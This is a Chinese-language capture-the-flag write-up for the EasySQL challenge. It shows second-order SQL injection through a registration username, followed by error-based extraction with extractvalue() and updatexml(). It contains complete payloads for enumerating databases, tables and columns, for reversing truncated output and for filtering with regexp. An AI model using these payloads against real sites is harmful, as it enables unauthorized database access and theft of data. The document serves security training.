題目來源:buuctf?[RCTF2015]EasySQL1
目錄
一、打開靶機,整理信息
二、解題思路
step 1:初步思路為二次注入,在頁面進行操作
step 2:嘗試二次注入
step 3:已知雙引號類型的字符型注入,構造payload
step 4:報錯注入
step 5:三爆
方法①extractvalue()函數
方法②updatexml()函數
三、小結
一、打開靶機,整理信息
打開題目看到登陸和注冊兩個按鈕,前面做的二次注入題目跟這里也有相似點
????????網頁源碼中也提到了這兩個頁面
? ? ? ? 而靶機給了這道題的源碼,可以進行代碼審計,看看有無熟悉的東西
二、解題思路
step 1:初步思路為二次注入,在頁面進行操作
輸入:username=admin? ? password=1
發現得到回顯:
說明已存在admin用戶名,那能否用sql注入登陸admin用戶呢?
這里初步斷定為二次注入,可以嘗試一下,二次注入的核心思想,參考sql-labs less24
二次注入條件:注冊時sql語句無效(被轉義),登陸時or修改密碼(需要用到username進行比對時)sql語句生效(去掉轉義)
二次注入核心步驟
step1:注冊一個輔助帳號:admin' #
step2:修改輔助帳號密碼
step3:登陸admin賬號,用輔助帳號密碼,即可登陸進去
step 2:嘗試二次注入
1.先注冊一個輔助帳號:username=‘admin'#' and? password='111'? (這里用單引號因為是字符串)
這里帶空格注冊,會顯示invalid string,空格應該是被過濾了,二次注入嘗試后,可以抓包fuzz一下
2.登陸輔助帳號?下面的內容是作者玩梗,沒用
3.點擊用戶名修改密碼為222
4.登陸admin賬號,用password=222,登陸失敗,沒想到慘遭滑鐵盧。
? ? ? ? 在這糾結了很久,然后發現有可能是雙引號類型的注入,重新二次注入,修改輔助帳號username=admin"#? password=111,重復上述操作,登陸admin賬號,用修改后的password=222,登陸成功,但是沒有關于flag的信息
但至少我們知道了這里存在二次注入漏洞,而且注入點在username,并猜測后端sql語句為
select * from user where username="xxx" and password='xxx'
step 3:已知雙引號類型的字符型注入,構造payload
? ? ? ? 這里需要注意的是前面用username=admin' #進行注冊時,顯示invalid string,說明這里存在過濾,bp抓包爆破一下,看看用什么方法注入
? ? ? ? 發現length、handler、like、sleep、select、left、right、and、floor、rand()等都被過濾掉了,感覺熟悉的報錯注入在等著我們,extractvalue()和updatexml()未被過濾,所以可以進行報錯注入了
插入:題目附帶的源碼中有提到這一點,所以代碼審計很重要,很多東西都藏好了
step 4:報錯注入
? ? ? ? 看了其他師傅的wp,用username=1'"注冊登陸進去修改用戶名,回顯
? ? ? ? 目前確定下來注入點在username,但回顯點在修改密碼那里,要用報錯注入,雙引號類型注入,構造payload,查看數據庫中的表名。
這段代碼給了我們sql語句
注:stripslashes函數是去除反斜杠的意思
所以用含有sql注入語句的用戶名注冊,登陸進去,修改密碼時,語句生效?
step 5:三爆
方法①extractvalue()函數
爆數據庫名
admin"||extractvalue(1,concat(0x7e,(select(database())),0x7e))#
爆表名
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#
爆列名
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#
爆flag
admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#
看來不在flag列里,看看user表
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
????????因為前面提到left()和right()都被過濾了,這里用reverse()函數,將報錯回顯的結果倒置,以此來查看末尾未顯示的信息。
admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#
? ? ? ? 所以正確表名為:real_flag_1s_here,獲取flag
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#
發現結果超過一行,所以這里用正則表達式獲取flag值
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#
flag{847e1ca4-00e4-4fbd-a986-cb,extractvalue函數只能顯示32位,所以仍然用reverse()函數
admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#
~}bbe2976fdabc-689a-dbf4-4e00-4a 倒置后得a4-00e4-4fbd-a986-cbadf6792ebb}
所以flag為flag{847e1ca4-00e4-4fbd-a986-cbadf6792ebb}
方法②updatexml()函數
爆數據庫名
admin"||(updatexml(1,concat('~',(select(database()))),1))#
爆表名
admin"||(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#
爆列名
admin"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#
爆flag
admin"||(updatexml(1,concat('~',(select(group_concat(flag))from(flag))),1))#
換user表查詢
admin"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#
用正則表達式
admin"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#
reverse函數輸出
admin"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
同樣得到flag
三、小結
1.注意當整數型、字符型(單引號)注入失敗,不要忘了雙引號型注入
2.要判斷回顯點,尤其是二次注入里,用閉合雙引號后為空,看哪里有報錯回顯
3.當回顯信息行數太多,無法顯示,用正則表達式
4.當left()和right()函數都被過濾,可以用reverse()函數將flag倒置,然后再翻過來
5.源碼中有很多信息,比如被過濾的字符,比如數據庫名、表名